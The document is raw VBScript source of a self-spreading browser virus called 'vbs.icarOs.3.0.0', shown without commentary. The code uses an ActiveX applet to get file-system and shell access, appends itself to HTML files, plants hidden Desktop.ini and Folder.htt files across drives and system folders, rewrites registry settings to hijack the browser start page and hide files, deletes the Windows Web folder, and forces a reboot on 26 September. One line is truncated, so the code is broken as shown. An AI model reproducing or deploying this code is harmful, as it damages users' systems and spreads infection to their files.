On Error Resume Next
Const AppletName = "vbs.icarOs.3.0.0"
Const AppletCode = "com.ms.activeX.ActiveXComponent"
Const fsoCLSID = "{0D43FE01-F093-11CF-8940-00A0C9054228}"
Const wsCLSID = "{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"
document.Write "<applet code=" & AppletCode & "></applet>"
Set window.onload = GetRef("mainv3_onload")
Sub mainv3_onload()
RegChange()
DropTemplate (TemplateDir)
DropTemplate (ThisDirPath)
DropMisc()
FileScan (ThisDirPath)
PLoadCheck()
End Sub
Sub DropMisc()
On Error Resume Next
For N = 0 To 1
DropTemplate (fso.GetSpecialFolder(N) & "\")
Next
For Each d In fso.Drives
If d.DriveType = 2 Then DropTemplate (d.DriveLetter & ":\")
Next
DropTemplate (WshShell.SpecialFolders("MyDocuments") & "\")
End Sub
Sub PLoadCheck()
On Error Resume Next
If Month(Now) = 9 And Day(Now) = 26 Then WshShell.Run ("RUNDLL32.EXE shell32.dll,SHExitWindowsEx 2")
End Sub
Sub FileAppend(f, c)
On Error Resume Next
Set myFile = fso.GetFile(f)
N = myFile.Attributes
myFile.Attributes = 0
Set myFile = fso.OpenTextFile(f,
myFile.Write c
myFile.Close
FileAttr f, N
End Sub
Sub FileInfect(p)
On Error Resume Next
Set f = fso.OpenTextFile(p, 1)
c = f.ReadAll
f.Close
If InStrRev(c, vCode) = 0 Or InStrRev(c, vCode) + _
Len(vCode) < Len(c) Then
FileAppend p, vCode
End If
End Sub
Sub FileScan(p)
On Error Resume Next
For Each sf1 In fso.GetFolder(p).Files
Select Case LCase(fso.GetExtensionName(sf1.Name))
Case "htm", "html", "htt"
FileInfect (sf1.path)
End Select
Next
End Sub
Function vCode()
On Error Resume Next
vCode = "<script>" & _
Replace(document.All.icaros.innerHTML, vbCrLf, "") & _
"</script>"
End Function
Sub RegChange()
On Error Resume Next
AE = "http://www.geocities.com/abouterror/index.htm"
SP = "about:error"
HCU = "HKEY_CURRENT_USER\"
SM = "Software\Microsoft\"
HLM = "HKEY_LOCAL_MACHINE\"
WC = "Windows\CurrentVersion\"
PE = "Policies\Explorer\"
IE = "Internet Explorer\"
S = HCU & SM & IE & "Main\Start Page"
A = HLM & SM & IE & "AboutURLs\error"
E = HLM & SM & WC & "ExtShellViews\{5984FFE0-28D4-11CF-" & _
"AE66-08002B2E1262}\"
N = HLM & SM & WC & PE & "NoFolderOptions"
H = HCU & SM & WC & "Explorer\Advanced\Hidden"
c = HCU & SM & WC & PE & "ClassicShell"
With WshShell
DW = "REG_DWORD"
SZ = "REG_SZ"
.RegWrite S, SP, SZ
.RegWrite A, AE, SZ
.RegWrite N, 1, DW
.RegWrite H, 0, DW
.RegWrite c, 0, DW
.RegDelete E
End With
End Sub
Function ThisDirPath()
On Error Resume Next
p = Replace(UnEscape(document.location), "file:///", "")
If fso.FileExists(p) Then
p = Replace(p, fso.GetFileName(p), "")
Else
If Not (Len(p) <= 3) Then p = p & "/"
End If
ThisDirPath = p
End Function
Function TemplateDir()
On Error Resume Next
p = fso.GetSpecialFolder(0) & "\Web"
fso.DeleteFolder p, True
fso.CreateFolder (p)
Set myFile = fso.GetFolder(p)
myFile.Attributes = 7
TemplateDir = p & "\"
End Function
Sub DropTemplate(path)
On Error Resume Next
FolderHTT = "<html><body><object></object></body></html>"
iniLine = Array("[ExtShellFolderViews]", "Default={5984FFE0-28D4-" & _
"11CF-AE66-08002B2E1262}", "{5984FFE0-28D4-11CF-" & _
"AE66-08002B2E1262}={5984FFE0-28D4-11CF-AE66-" & _
"08002B2E1262}", "", "[{5984FFE0-28D4-11CF-AE66-" & _
"08002B2E1262}]", "PersistMoniker=file://Folder.htt" _
, "", "[.ShellClassInfo]", "ConfirmFileOp=0")
DesktopINI = Join(iniLine, vbCrLf)
p = path & "Desktop.ini"
FileCreate p, DesktopINI
FileAttr p, 7
p = path & "Folder.htt"
FileCreate p, FolderHTT & vCode
FileAttr p, 7
End Sub
Sub FileCreate(filename, contents)
On Error Resume Next
FileAttr filename, 0
Set myFile = fso.CreateTextFile(filename, True)
myFile.Write contents
myFile.Close
End Sub
Sub FileAttr(filename, attr)
On Error Resume Next
Set myFile = fso.GetFile(filename)
myFile.Attributes = attr
End Sub
Function AppObj()
On Error Resume Next
Set AppObj = document.applets(AppletName)
End Function
Function fso()
On Error Resume Next
Set fso = CreateObj(fsoCLSID)
End Function
Function WshShell()
On Error Resume Next
Set WshShell = CreateObj(wsCLSID)
End Function
Function CreateObj(CLSID)
On Error Resume Next
AppObj.SetCLSID (CLSID)
AppObj.createInstance()
window.Status = ""
Set CreateObj = AppObj.GetObject()
End Function
